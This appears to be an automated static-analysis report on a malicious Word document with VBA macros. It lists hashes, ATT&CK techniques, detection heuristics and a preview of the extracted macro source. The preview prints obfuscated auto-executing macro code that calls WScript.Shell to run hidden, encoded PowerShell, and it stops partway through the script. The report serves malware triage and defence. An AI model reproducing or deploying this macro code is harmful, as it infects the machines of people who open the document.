Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 7280a89bd5f136d8…

MALICIOUS

Office (OLE)

170.5 KB Created: 2018-03-16 07:06:00 Authoring application: Microsoft Office Word First seen: 2018-03-30
MD5: 45814843d30949601b3bcc1a3753107f SHA-1: cef89e9f1afe1a53fedde2a4564e5f3c79b6121d SHA-256: 7280a89bd5f136d810d17f74527c98d4a7ce8e9a84a49bda971e8f6d90b62778
310 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a malicious Office document containing VBA macros. Heuristics indicate the use of WScript.Shell and CreateObject, suggesting the macros are designed to download and execute a second-stage payload. The presence of 'macros.bas' and the ClamAV detection further support this assessment. The script's obfuscation and truncated nature prevent a more detailed analysis of its specific actions.

Heuristics 10

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
          lZinA = IURQu / OpdsNp
      lrLUdNrdQYTjE = "WScript.Shell"
      FZYfC = uvqjP + NrsHUE
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
          svrUQO = MwUzFj + bwBsva
CreateObject(lrLUdNrdQYTjE).Run qnJSXIKIUD + Chr(VBA.vbKeyC) + ZPKwVimEpp + cOfWXVi + zPfmLMDKvipimi, vbHide
      BHiCs = Hex(mEiRl / Int(55269))
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "oMwTrfPNRcMoIz"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 34340 bytes
SHA-256: e1e17d8131943cac13eace47ac338a23fec65d233dfdf1365c62a42a7edb5c3c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
655 of 1100 identifiers look randomly generated (e.g. 'fDrNgZAEGAmBwYAUGA5AwNAYGAjBAZAcDAiBQOAY') — consistent with name-mangling obfuscation. Carved artifact contains 21 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "qIhRYYDAk"
Function TsJCCcUYlbWHz()
On Error Resume Next
      zCSjz = Hex(QDELSF / Int(73991))
      ocntKT = ShLDiK / lwWLq
      mbpZHP = TzVNl + ZRwBi
vQkBHnkKODo = TDKqSF("EkDA2AgMAEGAhYj@ ti", 7 + 0, 11 + 0)
      zUjVHf = Hex(bARIp / Int(13369))
      DANmO = vKRTLz / dkwpv
      NsOGFi = snIBrj + WBZDJ
      vrwzd = Hex(QfzZpm / Int(34384))
      YHRFL = RzaZUf / hfjacS
      qvpfoY = zHYPXQ + Gsuadn
FAmzjGmzqHK = TDKqSF("jsGDA2AgNAIDAwAQNAQDAzAAMAkDAzAAOAUDA5AAOAUDAwAQMAkDAzAwMAUGAkBAOAIDA3AANAYGAzAANAkDA1AwYAYDAxAQYAQGAlBgZAIDASpS", 4 + 0, 106 + 0)
      vQWiwJ = Hex(APzMUj / Int(58655))
      SmQnFS = CKwPpb / ozziou
      SApOJz = ZCDjQi + IJqibD
      wrQlJI = Hex(JEniBd / Int(11432))
      qjVRlV = nAfDN / raTjlK
      EuQmA = jfGBt + OfEzOk
XzZEnGwFi = TDKqSF("X@fDrNgZAEGAmBwYAUGA5AwNAYGAjBAZAcDAiBQOAYGAzAgNAUDAlBgYAUDA3AQNAcDAzAANAEGAzAgNAEGAxAQNAcDA3AANAgU", 2 + 0, 92 + 0)
      JwEQFF = Hex(CSdTvP / Int(37730))
      uwTjR = mVhwm / zIncF
      EADAiK = FKQBnG + VKlIdf
      MAwjT = Hex(iqpfi / Int(78728))
      wXzbSA = jrFtlz / rBNjaj
      RHBSo = sUJZs + XrvTO
ivwcJ = TDKqSF("GzB,181,37,501,901,602,791,34,311,331,35,381,8,79,351,432,112,502,481,061,071  K- gniRtsERUces-ottreVnoC|'=AgMAQGA3AgMAUDAiBgMAgDAmBwMAEGA1AgZAEGAlBANAISp", 4 + 0, 148 + 0)
      QUmUv = Hex(wVjro / Int(54055))
      EEcfPw = istMi / AZauvh
      dKPPwM = TSZAjj + oGuLfX
      GDuqi = Hex(GzpRCz / Int(10439))
      kdmjEv = iEqFd / dUvmOJ
      VWVZW = noYZBT + rLFib
dUiBDXnHEX = TDKqSF("BdMGA8BgM5435a05061b3143240f3476111d29467'($(ISnAcOLlaLAbOa,dj", 6 + 0, 55 + 0)
      cBXwEk = Hex(Ndcui / Int(77221))
      CSOHNK = HkJfo / ciRPQL
      jBzYR = RiKLiu + iwZzz
      zPkloi = Hex(WwaiI / Int(66967))
      fENJHV = nrBWM / rjICXD
      YjUWTJ = rYSDZ + ESQdl
VCtjwoqAn = TDKqSF("asjLaiwAQMAMDAhBgMYf7", 4 + 0, 12 + 0)
      CbJXj = Hex(bjKmq / Int(47131))
      FjNvk = qwzZOZ / wFuYTi
      CAXOL = HraLEi + zUXrXf
      dnNjIu = Hex(LWJPH / Int(78503))
      hhoEt = AizpF / zTJVO
      iKTKB = GZiiQc + XiPsa
kOToo = TDKqSF("SQ%nAcDA2AgZAADAG6mIq", 6 + 0, 12 + 0)
      aiosu = Hex(YdEwoC / Int(1991))
      AciEWf = zUiVSW / iahbi
      okqRZ = dUCcp + PiTuzK
      itbvV = Hex(RmULzi / Int(75320))
      iuScHW = XdXRV / TcLiM
      VwdSv = owqER + dQAZl
cFhlvDLJUTo = TDKqSF("RAQOLgOTgNiRTSERUCES::]lAHSram.SeCIvrESpOreTNI.EmITnur[ (EkOVni.)EMAN.]0[)(sRebMEMteG.]LaHSrAM.sEciVrEsPOretnI.EMitnUr[(::]lAHsRAm.SecivRESPoreTNi.emItNUR[(( XeiFXwstw", 7 + 0, 158 + 0)
      SijzL = Hex(DdzHz / Int(18651))
      dkYRv = cXPTa / SLSoFW
      qGQiZV = NORNhw + voTEwF
      hjfwlf = Hex(VzmwL / Int(72888))
      VYbrZf = QcNbWa / iqKAS
      vvpkAY = wizinF + crIsCD
OdHXMMXB = TDKqSF("wFUmXj9AMFA1BQaAfm", 3 + 0, 9 + 0)
      RERUP = Hex(wqIbw / Int(87115))
      uZjrrB = dldfoQ / dniSzP
      irXPk = lHWXl + GuCIQB
      rUktS = Hex(qGddN / Int(11360))
      cWfHYj = twzVVd / WlstKE
      zZhFz = dmIKPo + fWWPOm
wGzzaFmU = TDKqSF("iBIIwqriBwMAMGAyAAJX", 3 + 0, 11 + 0)
      fuXPY = Hex(iUUljC / Int(3045))
      fwwCa = THomGj / IAPcfY
      sCCSjI = JRXaM + kAZYNn
      cWjMPV = Hex(BpKXik / Int(88694))
      XVbskF = tqCluw / IXoZq
      VLJcV = pjEbY + AOVsjo
ziAqYRa = TDKqSF("hKQZAEDAmBgMAYDAkBQOAcDA2AANAgDA3AgYAEDAkBQOAIGAyAQOAYDAyAAOAYDAhBgYAYGA4AwMAEDAyAwNAcDAmBgYAIGAyAgNAMDA1AgNAIGAkBQMAUGA4AQZAMGAyAANAQDA0AAOrGGYR", 6 + 0, 138 + 0)
      bjdpK = Hex(biihni / Int(9360))
      qdLLzX = PJoPdJ / jAQnAO
      TrWzw = aKBRtU + JkKjjQ
      YZWGK = Hex(XzAUNV / Int(92083))
      vZksv = QjrDVN / cIObc
      XDizL = sVzvTT + BAfEzA
YqRXLnGlHG = TDKqSF("FjGAlBQNAkDA5AANAMDAlBwMAYGAmBgYAUGA0AQOAEGAyAgMAYGAyAgZAMDAxAQOAUDAlBwNAgDAxAAOAEGAyAANAEDA1AAZAQGA1tM,r", 5 + 0, 99 + 0)
      lzohTk = Hex(Ivoltl / Int(17170))
      CNcZw = PQoXj / LVwEPb
      bYPAda = kaLJai + dzRbZ
      qVMir = Hex(ZuEOaA / Int(28113))
      GXKucL = JiIUHQ / HSmjY
      JHVzi = JPwAt + RSREA
uqwYL = TDKqSF("wPFgDAmBgZAcDA2AANAYGAxAwNAMDAzAgZAQGA0AQNAUGA0AwYAkDAkBgNAYDAwAQOAkDA3AQNAQGAwAQZAMDAlBwYAkDA4AwMAQDAlBgMAIDAiBwMAADAhBANAIGALUruX", 6 + 0, 123 + 0)
      vtljmD = Hex(kXVnl / Int(53701))
      czQwCL = CBLKi / NpznD
      Ilidc = RptCo + NYAiRB
      iXWGr = Hex(FVBbj / Int(58571))
      JDwHPh = Bdbzt / DjdWi
      fIoUWY = VoGNvu + zjUQDC
EMHIafF = TDKqSF("TOrHuA4AwNAADAyAwNAUGA0AQMAUDAkBgZAADAlBgNAYGA0AAOAgDAxAAMAYGA2AwYAEDAyAgZAkDA3AgMAMGA0AgMAIDAjBANAYDAzAQYAIGA1AQYAYDAzAQMAMDA3AwNAIDAiBANAgDAzAQOAQDA5AQMKtG", 4 + 0, 149 + 0)
      mGAvX = Hex(hAYrf / Int(94769))
      wbVjc = RMjvQf / LMXLN
      cdtCo = zLQVP + iwpjW
      zRvME = Hex(zshAO / Int(3461))
      qIKAa = kPaQjH / aPNAYP
      fwRjqd = dmjmqM + wFYdb
FJYGwQJ = TDKqSF("tattjKQNAUDAlBgMAEDAwAQZAIDAiBAZAMGA1AAZAYGAmBwNAYDA3AQMAIDA3AQYAADA3AQNAYGAyAwMAkDA0Av", 2 + 0, 80 + 0)
      cpYAP = Hex(Ebhfh / Int(53657))
      RbrrbJ = jGdrdp / ciKpWz
      GqaQUm = YwHBK + uwFOwT
      jlEznH = Hex(UlHCH / Int(24063))
      aoDqTX = DzTiTH / EPHdC
      uZlqPT = cmTuAz + zSUqtV
dpJMBF = TDKqSF("7IgZAMGAkBgZAQDAxAQYAADA1oiDX6E", 7 + 0, 23 + 0)
      dokQTz = Hex(PVAZE / Int(64176))
      ACMazj = QiZiU / JlvQj
      DQlAZw = iMRSV + RBwQIQ
      zbbIcY = Hex(OnbGQ / Int(27692))
      ODociz = HoZDz / tIzuCb
      QESGW = ihmNCX + XOblL
MqSHDBTS = TDKqSF("AtwdjDAlBwYAEGAiBwMAYDAiBAZAIDAxAgNAEGAkBwNAMGA3AgMAkDA0AwMAUGA%j", 3 + 0, 58 + 0)
      zfpnCE = Hex(tXGphD / Int(77878))
      LKliG = STVaXj / IijMjZ
      ZaQQCs = Hbwjwi + LEqDE
      FLDZpW = Hex(Ulnbh / Int(83840))
      ldDMQ = RwOlPF / TlVWNV
      qGDBrR = PifHb + TFGwIp
azGjWEZBm = TDKqSF("npEgNAYDAiBQNAQGA4AwMAIGA5AQYAYGAwAAMAQDA3AQMAcDAjBgMAUGA2AwNAEDAiBwYAQDAKkVI", 5 + 0, 70 + 0)
      ZGwRK = Hex(ZzjQRO / Int(23984))
      TiaCU = vBPiin / cOiXN
      UEjKl = HrDjSO + PSzajv
      rPMXsY = Hex(jzzNh / Int(14946))
      wzEczC = UtZaWH / rwhYiz
      LWoLUi = zFHNz + fNWzrV
jXKkkl = TDKqSF("6IJAgNAYGAiBAZAEGA5AAZAQGAwAwMAUDAxAgYAEGA3AQMAkDAhBgYAMGAkBQYAIGA4AQOAYDA5AYIOjj", 6 + 0, 73 + 0)
      XWnzVR = Hex(sDPozH / Int(97077))
      aPRfUi = oSMYj / iZihMF
      ojrqD = ZwpTO + csmHiM
      IquEpn = Hex(vFNwj / Int(87077))
      ajoWsU = nBqIca / bpCSR
      cuPau = OSaJYb + ABfVUk
VclNnSp = TDKqSF("jwB7LzAQNAUGAhBAMAEGAhBgYAEGA2AgNAUDAhBwMAIGA3AwNAMDA0AgNAYDAyAANAMGAwAAOAADA5AQYAMDA4AgYAQDAyAgYAADAjBgZAEDA3AwYAUGA3AQMAQGAxAAOAYGA5AgNAYGAiBQYAADA2AAMAQDAhBAMAQGAyAANAMDA4AANAQDA3AQMAYGAhBQZAcDAkBQNAUSZ", 3 + 0, 198 + 0)
      AUoDvN = Hex(XTPLi / Int(34829))
      IfQNb = FNMsR / oZzvUh
      TZHFLi = WrwLwu + UsVPH
      uojYY = Hex(uoiWp / Int(80982))
      wNqGJ = GdZjk / IpRqii
      OljkZ = rjIQMV + wXXuLK
nIMvvjBVfJ = TDKqSF("WPrxv7vBi", 6 + 0, 1 + 0)
      uiZUE = Hex(rPWdwD / Int(83871))
      bhOdRb = rzNNN / ilRWfT
      KjLOf = ncKiSI + HWqIRt
      buvjqC = Hex(ZAmiol / Int(72902))
      hEhBhN = WQXMR / zQJimY
      TVVQSO = uPzMv + BoncTb
oHDnGSccmhz = TDKqSF("KjHAwAQOAgDAiBgNAQDAwAQYAgDAlBwYAUGAzAwYAADAiBgMAQDAkBAZAcDA2AQOAYDAkBAOAADAjBgZAQDA5AQYAISiauS", 6 + 0, 87 + 0)
      RYfJdk = Hex(ZkdABN / Int(84983))
      MiQiT = PGRKQ / mKchOK
      cvqMmh = kKmzK + nhcELl
      sIERlv = Hex(iEjSb / Int(90099))
      possIc = hPujJp / PEfQh
      OZcSY = vRrSN + IEvlQ
bJjnaI = TDKqSF("LRnSAIGAlBAOAEGAiBwNAMDAiBgNAEGA5AwNAkDA1AwMAADAzAQOAcDAzAgMAIDAhBwYAUDAkBgZAUDAiBgNAYDAyAwYAEGAyAQZAQGAmBQOAIGAwAQNAIGA5AQMAUGA5AQYAIGA1AgYAMGA0AgYAgDAwAAZAADAiBQNAMGAhBgZAEGA%%w", 4 + 0, 172 + 0)
      qNNLtK = Hex(cGkPzA / Int(3819))
      jNPLaU = hPpzjK / kWioj
      UBCfS = vILCrR + fcqfZ
      adADfE = Hex(XvSjmY / Int(49826))
      uYwFT = TKThRQ / amTqj
      XCvcU = KmpEjV + dMdHO
HQYSV = TDKqSF("GLBwNAQGAhBAOAIDAiBgZAkDAxAwNAkDA5AQNAcDAiBANAIDAkBANAMGAjBQNAQDAjBQOAcDAiBgZAkDA1AANAcDAlBgMAcDA0AAMAMGA0AAZAMGA1AQOAEDAkBAZAUDA2AQYAIDAzAgMAMDAkBwMAIGAhBwMAEPVa@", 5 + 0, 157 + 0)
      jIHSh = Hex(OnnzI / Int(97932))
      DECLwv = GIqiGj / vmzwi
      mCLQk = FGKXp + FtRQbB
      mCMvoz = Hex(HWXZzJ / Int(76031))
      bIMHfz = sFrnb / XrXXba
      jEjWI = jTSJNO + bYpqOP
lolEdOtiv = TDKqSF("EuSSwwAwYAMDAkBQOAQDAzAgZAEGAmBAMAYDAjBQMAIGAwAgZAQDAmBwMAUGAzAwMAMDAzAgNAIGAlBP", 2 + 0, 74 + 0)
      RKGEBY = Hex(jiABWj / Int(46458))
      WYpws = BZwdY / UzBjJL
      zYwfVj = woSHq + DRBRAP
      sKBIZ = Hex(JTWVM / Int(99575))
      DddITR = iiaRK / KOkjs
      FwskBV = jZInQj + ESsOrR
uACdH = TDKqSF(".6P )) ) ) )381,051,731,181,wa0", 5 + 0, 24 + 0)
      PVKjk = Hex(Hwujpd / Int(56310))
      wKsbmX = lZuJkW / rVVpa
      qbiAR = okiZz + DtHHzn
      KQrUoW = Hex(ozlun / Int(37526))
      NFvWs = iAYAwG / CihOz
      vUrkUV = UHSRY + URpaT
iuZPkYk = TDKqSF("0Jrbw,FkBwYAUDA4AQNAgDAlBQOAYDA5AgMAYGAxAwMAIDAmBQNAYGA0AgZAUDAjBwMAQGAzAQNAIDAlBgZAQDAjBQOAADAhBwMAUDAzAH", 2 + 0, 98 + 0)
      vCHJsr = Hex(hMzJR / Int(43871))
      pXjWUb = iUbhG / kmrNEN
      DvoKz = wnAVzA + dWwiTG
      zPmkY = Hex(kdzzS / Int(14432))
      ziFnnL = nTrjOu / zlSmjs
      qTPKB = pbMup + QIBWDW
PmPTQohqb = TDKqSF("wnwmBgMAIGA1AAOAQDAwAAMAEGAmBAMAMDAkBwMAQDAiBANAwHA9AQPAcHA0AwRAgGAGBAbAoEA0AgMAIEATBQUAQGA2BwMAcDA5AgRTp@B8X", 7 + 0, 100 + 0)
      mfiXCW = Hex(hnsjLm / Int(29107))
      HLpcm = tMGwu / iXwOPQ
      FnLvNo = WCjfj + LGAqh
      wBJuXi = Hex(YiWMYh / Int(46975))
      SfcBMW = dpHnw / abJmaj
      jvjhF = VYUloi + rTFUbB
zUuKwY = TDKqSF("DXn1AAOAcDA5AwYAkDAxAQOAIGAkBwNAIDAzAgZAYGAxAQNAYDAzAgMAADAzAwNAQGA4AgZAADEFF", 4 + 0, 71 + 0)
      nYTmj = Hex(BzDMZw / Int(1456))
      CXwvw = AlJDTF / BHVpK
      ZSKbu = TYYUHL + iRowHY
      houiRv = Hex(PfQKL / Int(79887))
      Jpjhml = SlDSd / DAhzP
      vVMjF = ddszWV + QGERD
WzAvKuoKvz = TDKqSF("JSz0gYAMDA0AgYAIDA0AQZAUGAiBgYAADAmBQNAMGAmBANAEGA2AAMAEDA3AgZAIDAwAwMAgDA4AAZAkDA3AwNAADAhBgMAMDA0AQOAYGAhBQOAQGAxAAZAIDA2AwNAQDAmBAMAEGAhBQMAkDAxAwNAIGA3AwYASwF@K", 6 + 0, 155 + 0)
      wrVOD = Hex(MohIPz / Int(33430))
      mtHwGa = JHRVOh / MHzid
      RhaHIr = GvVdzF + WXwHKd
      sArasr = Hex(JUlJYc / Int(8564))
      AAJtl = YsDunK / wLIOwP
      vjWVi = swBItf + NBGmr
hwJzYWPzU = TDKqSF("X8TwlBwNAADAwAgYAgDAmBgNAQGA2AgYAQDA2AAOAQGA3AgNAgDAhBgYAMDA3AQYAkDAhBAZAgDA3AQOAMDAlBgMAUDAjBAMAcDAzAANatft", 5 + 0, 100 + 0)
      zUIojE = Hex(kNJcua / Int(24694))
      PQinO = nbqvBH / lvEWXO
      jnvpR = MinYNS + Owkcw
      HRdBDO = Hex(FzrbSj / Int(33626))
      mvizBl = sNMHB / EkNOc
      OwLaI = FzATV + VuOqmt
BosGuvdZpCL = TDKqSF("PBBUNAkDAxAgYAYGAwAgZAMDAlBwYAcDA5AgNAUDA1AAMAIDAyAANAMDAxAwYAgDA1AQOAEDAkBwMAQDAlBAMAA6wa", 4 + 0, 83 + 0)
      splZPp = Hex(NtBOdM / Int(81168))
      CwbVa = wmUYsX / HpNzTV
      jcYvlM = LwlpJw + rRPRT
      MRdcO = Hex(Qfzwd / Int(28170))
      uicOcF = aTvaWh / AbbCs
      RsdhmU = YNisC + oOoonm
oMiiI = TDKqSF(",tAAZAMGAiBgZAIDA3AwMAADA5AQMAMGAkBAMAEDAyAgZAQDAxAAMAkDA1AAOAgDA2AgNAUGAmBwNAEGA1AgNAYGA0AgZAYDAmBQMAMDA4AQZAkDAkBQOAMDA5AwYAMDAzAAZAADAmBAZAMGA4AANAkDAT9FS", 5 + 0, 151 + 0)
      XpsVDG = Hex(iPEXvl / Int(73632))
      BBvcHr = NkCXv / GMmoPz
      cAHdf = fIILwR + JNntKf
      GzOzq = Hex(BcijRQ / Int(48472))
      jiJbVQ = XbRXTi / ECnGk
      lLIlWA = bzzHo + vEXzi
muisPOMT = TDKqSF("st039iQYAEGAmBgNAYGAwAAMAUDA2AQMAMDAhBgNAYGAxAQZAUDAjBgNAkDA5AQMAcDA4AQNAQDAxAgZAcDAjBAZjU", 3 + 0, 82 + 0)
      MZjVwZ = Hex(sjXft / Int(19711))
      iNYWYF = OTXiJ / wmNhDI
      YRCpM = zHTET + zIohj
      jFVkk = Hex(jNzAMG / Int(33667))
      kikqP = NZUhh / CGAJFq
      VTRAM = TnCEq + KIriSD
JwaLi = TDKqSF("I9AwYAcDAzAQYAYDAyAgZAUGAhBQOAMG@Jnjmf", 7 + 0, 30 + 0)
      llMHl = Hex(DlqaNn / Int(90910))
      owFSi = kvcKU / mWqKYi
      mFjJM = MIVcMp + vZWMm
      jGEAji = Hex(NMnoW / Int(9401))
      VwEkE = jlKktd / qBVuLo
      idhIf = YPAdfA + WNbkwK
HINWMm = TDKqSF("aXE,UUDA5AwYAMDAmBAMAgDA4AgZAUDAwAgNAEDA0AQYAIGAiBQNAYGAlBQMAYGAkBQZAEGAyAwNAQGAxAwMAEDA3AAZAUGAxAwNAIGAxAAOAUDA4AAOAUGAyAwMAADAwAQTTp", 4 + 0, 126 + 0)
      MuvUGG = Hex(dMqsc / Int(64498))
      jsOwFK = RlhEt / FdZlzA
      FjhNB = ruCJk + SBqVM
      XZRwX = Hex(bcUVw / Int(3900))
      uRicr = kziKB / wzzQuW
      IlnIt = LImKJN + XCuKCw
YWDCwjRdPz = TDKqSF("IKsQdA2AQOAQGA4AgYAUDA4AQYAYGA3AANAEDAhBANAQGAiBgZAMGAhBgZAIDAlBgMAUDAwAAMAkDAxAgMAEGA3AQYAYGAiBQZAMDAkBgZAEDA5AgZAIGAmBQMAUDAhBQZAIDAxAgYAUGA0AAOAYDA2AgNAEGA3AQOABQE", 4 + 0, 158 + 0)
      nSHsOQ = Hex(aIdMZ / Int(97480))
      tTHJkt = vzpVzE / tFnOw
      hpiutd = kzJwkO + djnBS
      jswVpc = Hex(LPQrAk / Int(22647))
      tokltr = jMPAcs / pPlwY
      KwKmJ = PkGsD + UaLvt
IqDQBdLMErm = TDKqSF("%hNrDAyAgMAADAyAgNAYGAzAgZAEDAlBQNAYGA2AAZAUDAzAQYAYDAwAANAYDAlBQOAMGA2AgMAUGA1AgNAUDA3AAMAcDAyAQ7q", 4 + 0, 92 + 0)
      tvzMl = Hex(pzjqa / Int(1413))
      BMLiv = zbmcwZ / LjISI
      WiFcAw = DzKYZ + FlCDI
      mRJzH = Hex(KsUCL / Int(3533))
      KnfvH = osOYRd / CbXvK
      ovwYlN = EBZMiO + nfOYXo
XRwwNXGzwOd = TDKqSF("Xd9DA2AwNAcDAnnH", 4 + 0, 10 + 0)
      UbXtsU = Hex(JjVZsU / Int(25941))
      NOthW = nSBpCo / XMzYV
      TUYft = rvREnp + bdRAip
      bJhajb = Hex(ajIivp / Int(64154))
      GbRsY = vzdlf / zhZIm
      jadXk = jWGmP + ONlBt
cqaBDVOflo = TDKqSF("jdKAIGA5AQNAkDA1AQOAQDA4AANAcDAlBwMAYDA5AQMAQGA0AAZAQDAxAANAMDAkBQMAUDAlBUwna9K", 7 + 0, 70 + 0)
      NviYjL = Hex(oAIhs / Int(12824))
      rlFHn = qDLCQI / bXShzn
      vrbLuS = wNYoO + PJcHiN
      qqjaP = Hex(oIsLI / Int(16199))
      zmrjJS = cwdff / JbEiI
      QCWaLT = JHKMiB + sYjIr
TWjrs = TDKqSF("%qcDAxAAZAIDAlBwYAQDAzAgZAgDA3AQZAUGAzAgZAkDA4AAMAYGAwAwYAgDA5AgZAcDA1AwNAMDA3AwYAUGA5AQZAMGA5AgYAQGsQIKQI", 7 + 0, 98 + 0)
      BinsM = Hex(vHAND / Int(19707))
      RsbbM = QiICSl / ddQlsw
      IphOiN = XXJuG + fjKRw
      JTYCim = Hex(DhMAcm / Int(37886))
      ovMhXC = kBtIHo / ZMffb
      lbWYwp = rzWZrf + lEaWjd
bpqQcPO = TDKqSF("dsYAzAgMAYDAmBAMAEGAxAgZAUDA0AQMAEGAzAAOAcDA2AAOAIDA2AAZAIGA0AQOAgDAmBwMAADAlBgYAUDAlBAMAADAwAAZAADAmBQNAYDAjBgZAUDA1AwNAkDA3AgMAYGA4AwNAEDA0AQYAYDA1AgMAMDAzAU.ufsT", 7 + 0, 155 + 0)
      iXJZfl = Hex(HzUzLi / Int(17008))
      YoliM = miTRbq / VmJvzI
      DNwQD = jzBbj + pYfll
      wnwHWv = Hex(EmRSv / Int(35766))
      UDHaTQ = tZTkO / wXBTl
      jRhzI = RpBihE + ascJjf
aUNKK = TDKqSF("NiGAkBgNAIGA2AwNAgDAlBgZAIDAiBQNAUDA5AAMAQGAjBwYAgDA0AQNAgDA5AQNAMDA3AQNAYDAjBQNAgDAkBgYAEDAkBQZAUDA2AQOAkDA3AQYAYGAhBgZAMGAmBQMAYwtvU", 5 + 0, 128 + 0)
      tzENf = Hex(IZGhk / Int(94891))
      ajdnGw = BbwPsP / ndVOV
      XbkMTS = qsiUtj + HrOpC
      oOtUlz = Hex(Nvbri / Int(61432))
      CRJwSS = lNEmi / zOsuCB
      VfEBd = Cpcub + roWPvL
rrDBdnH = TDKqSF("whjXYGAmBANAUGAzAAZAYDAiBwNAUGAzAAOAgDAkBQZAUGA3AANAIDAxAAZAgDA5AAMAUGAxAwNAYDAkBgZAMDA0AgNAADA3AwNAEGAkBgMAcDA4AgNAUGAkBwYAQGA1AANAIGA2AQMAkDA0AwNAMDAiBQOAUDA3AQNAADA5AgYAkDAiBQOAQGA3AwNAIGA4AAZAPu.", 4 + 0, 192 + 0)
      HsCAo = Hex(GHSzDh / Int(79522))
      TQXNHS = QRJScJ / Abwzjs
      USiPUW = jqZNm + YYzCns
      rsTnlR = Hex(ADpBWq / Int(20583))
      pstRTj = wjikXI / YUDJL
      DTWOr = WHPbsP + LfrLGd
EjHpzsoX = TDKqSF("Hq3AwNAQGA2AgMAMGA3AgMAEDAxAwYAUGAhBgYAkDAwAAOAEGAxAANAcDA4AgMAMDA1AAZAADAiBAZAMGA2AQZAUGAmBQYAEDAxAgMAUGA4AQYAIGAhBQNAUGAlBQMAgDA3AwNAcDAmBANAUDAxAAOAYGA1AQOAUDAhBwNAIGaQwtnJ", 7 + 0, 167 + 0)
      HumJB = Hex(ijfUwM / Int(58904))
      rWVfZ = KcjElV / wohIzf
      AJjMNz = pcvdf + iTJVjj
      jqUklJ = Hex(VEwIj / Int(45871))
      LwNKNO = csWlkJ / szrwTz
      dsiTL = IRIJO + RAnWam
hjAwJT = TDKqSF("XGhAUGA1AQOAUGAjBQNAMGAlBgNAIDAyAgMAcDA4AAMAMGAlBwMAEGAmBQOAQGA5AQZAMGAmBQOAMGAlBAMAUDAkBAMAMGAzAwMAYGA5AQYAMDA0AQMAEDAlBQZPsj8", 5 + 0, 120 + 0)
      oHwzw = Hex(zkdEH / Int(19553))
      YpiGi = BEjKjN / EslEd
      LwKtf = fSLZiM + zBIbS
      DkEzMa = Hex(hClDA / Int(10791))
      fuEvm = zUOuCz / dGjidW
      HKiBoE = YwEbC + ornFEz
msPXVq = TDKqSF("L@VjmDAhBgNAMDA0AgNAMGAzAgNAUDA5AQZAEDAhBgYAkDA0AgNAcDA3AQZAQGAmBQYAgDAkBAZAcDA1AAZAYGAhBgZAUGAkBgNAUGA0AQNAEDAmBQNAMDA5AQZAEDA5AgMAQDAyAQYAEDAxAAMAEGAlBQYAkDAkBwYAEGAjK@m", 5 + 0, 162 + 0)
      CiWJw = Hex(bjbTH / Int(49770))
      VOVLCH = dZWKTA / KlTdZ
      JiZoZF = dbwfzC + KZWbD
      sZpBwK = Hex(kAYCT / Int(21677))
      uGsdKr = juWaLX / rJlmT
      UGKSB = tAfKO + tjzaia
NpTBsnCjET = TDKqSF("FGA2AgZAgDA3AANAIDAkBQMAADA2AQYAIDAjBgNAADA3AgMAEDAxAQMAQDAxAAZAQGAlBANAYDAwAQMAIGAiBAOAgDAmBwNAYDAmBQYAEGAhBQZAEDA3AAMAMDA5AwYAQGAlBwYAEDA1AgZAQG0aXi03", 7 + 0, 144 + 0)
      vzLfSa = Hex(mQtqnQ / Int(258))
      inwabv = zAjIjR / JQaKuY
      JbrsQ = cHpWwu + ELiIw
      mShSj = Hex(zLrYV / Int(1165))
      zzhor = MnZdE / dLRCp
      mawNQ = rVNJi + rBzta
IdcrXMdFj = TDKqSF("rPRFjDA4AQYAYGAlBwMAEGAXK6h", 5 + 0, 18 + 0)
      qwYZnY = Hex(oczFp / Int(64667))
      BBiaJ = jOzVDC / SmCTj
      hMtzNm = AbqrPX + VFqTZj
      MKwOPH = Hex(HzqjhB / Int(99965))
      siYSaa = MGNli / AbaQv
      kjKNR = DdXRoi + FitqF
OGGHzTB = TDKqSF("XQ0AYDAkBgNAYDA1AgMAEGAlBQYAQGA5AAZAIGAzAwMAUGA4AAOAcDAiBQYAIDAwAQOAYGA1AAOAEGA5AgNAEDAyAgNAYGA2AQOAMDAyAAOAYDA3AwNAkDAiBgMAIDAxAwYAUDAkBAMAMGAlBgYAgDA4AwMAcDA2AgYAMDsjF7L", 6 + 0, 163 + 0)
      jSpws = Hex(iZTGX / Int(31495))
      lBPTh = HTXzz / RiacoH
      UCPhvi = MnZkW + AYsIpL
      OkQiD = Hex(pjTcRC / Int(97467))
      sGkSQ = ISzTC / rfGGi
